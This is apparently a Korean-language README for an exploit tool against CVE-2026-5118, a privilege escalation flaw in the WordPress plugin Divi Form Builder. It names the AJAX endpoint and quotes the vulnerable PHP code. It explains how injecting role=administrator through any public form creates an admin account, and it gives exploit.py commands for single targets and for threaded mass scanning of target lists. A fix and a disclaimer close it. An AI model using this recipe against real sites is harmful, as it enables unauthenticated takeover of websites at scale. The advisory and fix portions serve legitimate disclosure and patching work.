CVE-2026-5118 — Divi Form Builder <= 5.1.2 — 인증되지 않은 역할 주입을 통한 권한 상승

🔥 취약점 요약

WordPress 플러그인 Divi Form Builder 버전 <= 5.1.2는 인증되지 않은 권한 상승 취약점에 취약합니다. 이 심각한 결함으로 인해 인증되지 않은 공격자가 문의 양식, 견적 양식, 뉴스레터 양식 또는 기타 DFB 지원 양식을 포함한 모든 Divi Form Builder 양식을 통해 직접 관리자 계정을 생성할 수 있습니다.

취약점은 FormSubmissionHandler.php 파일의 create_user() 함수에서 비롯됩니다. 이 함수는 적절한 인증 또는 허용 목록 검증 없이 사용자가 제출한 POST 데이터에서 role 매개변수를 직접 수락합니다. 플러그인은 제출된 역할이 시스템에 존재하는지만 확인합니다(예: administrator는 유효한 WordPress 역할). 공개 등록에 안전한 역할인지는 절대 확인하지 않습니다.

획기적인 발견: Divi Form Builder에서 사용하는 fb_nonce는 전역 공유 nonce(wp_create_nonce('security'))로, 사이트의 모든 양식에서 동일합니다. 또한 form_type=register는 공유 AJAX 핸들러로 POST를 통해 재정의될 수 있습니다. 즉, 모든 DFB 양식(문의, 견적, 피드백 등)을 무기화하여 임의의 역할 할당으로 사용자 등록을 트리거할 수 있습니다.

🔍 영향받는 플러그인

• 플러그인 이름: Divi Form Builder
• 영향받는 버전: <= 5.1.2
• 취약점 유형: 역할 주입을 통한 인증되지 않은 권한 상승
• CVE ID: CVE-2026-5118
• CVSS 점수: 9.8 (심각)
• CWE: CWE-266 — 잘못된 권한 할당
• 영향: 전체 사이트 장악 — 관리자 계정 생성

🧨 공격자가 할 수 있는 일

🧪 익스플로잇 기능

• 🔓 인증 불필요
• 📝 모든 DFB 양식을 통해 작동 — 문의, 견적, 뉴스레터, 피드백 등
• 🎯 AJAX 엔드포인트 대상 /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler
• 🧠 역할 주입 — 일반 양식 필드와 함께 role=administrator 전송
• 🌐 대량 스캔 지원 — 자동 검색이 포함된 스레드 다중 대상 스캐너
• 📄 결과 저장 위치 result.txt

🧠 취약한 코드

// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← "administrator" EXISTS, so this check PASSES
}

// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role);  // ← PRIVILEGE ESCALATION!

🚀 사용법

단일 대상

python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]

대량 스캔 (http/https 없이 목록 사용)

targets.txt 파일 생성:

target1.com
target2.com:8080
192.168.1.50
subdomain.target.com

python3 exploit.py -l targets.txt -T 20

옵션

🛠 수정 권장 사항

// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Reject ALL dangerous roles
}

• 프론트엔드 양식에서 role 숨김 입력을 완전히 제거하세요.
• 권한 있는 역할에 대해 current_user_can('create_users') 기능 검사를 추가하세요.
• 전역 nonce 대신 양식별로 범위가 지정된 엄격한 nonce 검증을 구현하세요.
• 등록 AJAX 엔드포인트에 속도 제한을 추가하세요.

🧠 연구자

• 크레딧: 0xd4rk5id3

📚 참고 자료

• Wordfence 공지
• 원본 CVE 저장소

🔒 면책 조항:

이 정보는 교육 및 공인된 침투 테스트 목적으로만 제공됩니다. 허가 없이 컴퓨터 시스템을 악용하는 것은 불법이며 비윤리적입니다. 소유하지 않은 대상에 대해 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.